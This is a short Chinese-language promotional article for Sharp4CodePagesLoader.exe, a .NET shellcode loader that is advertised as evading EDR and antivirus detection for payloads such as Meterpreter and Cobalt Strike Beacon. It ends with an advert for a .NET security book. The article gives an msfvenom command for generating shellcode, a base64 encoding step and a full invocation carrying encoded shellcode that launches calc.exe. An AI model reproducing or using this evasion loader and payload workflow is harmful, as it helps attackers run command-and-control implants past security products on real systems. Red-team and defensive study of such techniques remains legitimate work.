绕过不是目的，执行才是关键 | .NET 通过 CodePage 加载 Shellcode 实现进程启动

随着 EDR、杀软对传统 PowerShell、MSBuild注入器的严密监控，红队/攻防人员迫切需要一种更冷门、更隐蔽的 shellcode 加载方式。在这样的背景下，Sharp4CodePagesLoader.exe 应运而生。该工具基于 .NET 平台，通过极低特征值的方式加载并执行 shellcode，有效绕过大多数安全产品的静态、行为与内存检测机制。

Sharp4CodePagesLoader.exe 运行于 Windows .NET Framework 平台，加载并执行通过特殊编码处理的 Shellcode，比如 Meterpreter、Cobalt Strike Beacon，如下图所示。

Shellcode 使用 msfvenom 或其他工具生成，并通过 Base64 编码处理。例如以生成计算器为例：

msfvenom -p windows/exec CMD=calc.exe -f raw -o shellcode.bin

base64 shellcode.bin > payload.txt

Sharp4CodePagesLoader.exe /OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！